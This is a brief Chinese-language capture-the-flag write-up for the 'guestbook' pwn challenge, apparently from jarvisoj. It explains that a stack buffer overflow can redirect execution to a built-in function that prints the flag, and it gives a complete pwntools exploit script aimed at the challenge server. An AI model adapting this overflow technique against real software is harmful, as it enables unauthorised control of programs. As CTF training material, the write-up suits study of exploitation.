开了栈不可执行
但是其他有
100分的题目不算很难
只要溢出,然后控制程序跳转的地址就可以了
程序中给了good_game函数,函数内部已经可以就是读取"flag.txt"的内容
所以就是溢出、覆盖ebp,然后跳转到good_game函数
结果:
#!/usr/bin/env python
# encoding: utf-8
from pwn import *
proc_name = './guestbook.d3d5869bd6fb04dd35b29c67426c0f05'
proc_elf = ELF(proc_name)
context.log_level = 'debug'
#io = process(proc_name)
io = remote('pwn.jarvisoj.com',9876)
#print proc_elf.checksec()
#print proc.pidof(io)
raw_input('debug')
ebp = 0x0000000000400670
read_message = 0x0000000000400670
good_game = 0x0000000000400620
payload = 'a'*0x88
payload += p64(good_game)
payload +=p64(good_game)
payload +=p64(good_game)
io.recvuntil('message')
io.send(payload)
#raw_input("debug")
io.interactive()